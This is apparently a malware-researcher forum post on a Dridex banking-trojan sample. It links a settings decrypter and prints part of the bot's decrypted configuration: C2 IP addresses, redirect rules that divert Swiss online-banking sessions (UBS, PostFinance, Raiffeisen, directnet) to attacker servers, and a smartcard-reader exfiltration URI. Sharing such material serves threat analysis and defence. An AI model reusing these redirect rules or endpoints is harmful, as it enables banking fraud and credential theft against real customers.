Attached is one from today, botnet 1234, bot version 3.246:
https://www.virustotal.com/en/file/b62b ... /analysis/
I got settings by using a Swiss IP.
Since version 3.241 (2016-08-09) they seem to use a new server certificate ("no-old" now is the old server public key, the other string has been replaced by a new public key).
I also attached the settings response as well as the decompiled XML file (I updated my settings decrypter:
https://github.com/moritzkroll/dridex_helpers).
Excerpt from settings:
Code: Select all<redirects switchoff="switchoff.js" redir_param_name="name" delay_param_name="timeout" uri="https://46.4.109.154:18443/B88U86giIPyD55RK/">
<redirect name="2nd_t" vnc="1" socks="1" uri="https://46.4.109.154:18443/encouraged" timeout="30">msoffice365.js</redirect>
<redirect name="1st_t" vnc="0" socks="0" uri="https://46.4.109.154:18443/imprisonment" timeout="20">ember3.js</redirect>
<redirect name="ubs_ebanking_redirect" vnc="0" socks="0" uri="https://62.141.52.53:18443/2/ubs_ebanking_62y7rKX8yF819Lg3/" timeout="30" postfwd="1">^https://ebanking\-ch\d*\.ubs\.com/workbench/</redirect>
<redirect name="directnet_cs_redirect" vnc="0" socks="0" uri="https://62.141.52.53:18443/2/directnet_cs_62y7rKX8yF819Lg3/" timeout="30" postfwd="1">^https://cs\.directnet\.com/dn/c/cls/</redirect>
<redirect name="directnet_nab_redirect" vnc="0" socks="0" uri="https://62.141.52.53:18443/2/directnet_nab_62y7rKX8yF819Lg3/" timeout="30" postfwd="1">^https://nab\.directnet\.com/dn/c/cls/</redirect>
<redirect name="postfinance_redirect" vnc="0" socks="0" uri="https://62.141.52.53:18443/2/postfinance_62y7rKX8yF819Lg3/" timeout="30" postfwd="1">^https://www\.postfinance\.ch/ap/ba/fp/html/e\-finance/</redirect>
<redirect name="raiffeisen_ch_redirect" vnc="0" socks="0" uri="https://62.141.52.53:18443/2/raiffeisen_ch_62y7rKX8yF819Lg3/" timeout="30" postfwd="1">^https://ebanking\.raiffeisen\.ch/entry/</redirect>
<redirect name="images_redirect" vnc="0" socks="0" uri="https://104.131.6.90:18443/get-dbYd81hd83H/\1" timeout="30" postfwd="1">^https://.*/image777000/(.+)</redirect>
</redirects>
<smartcard vnc="1" socks="0" interval="60" uri="https://46.4.109.154:18443/encouraged" ref="https://smartcards.host/qk8CwEpwJ9UrKC"><![CDATA[https://smartcards.host/qk8CwEpwJ9UrKC?reader=$READER$&atr=$ATR$]]></smartcard>
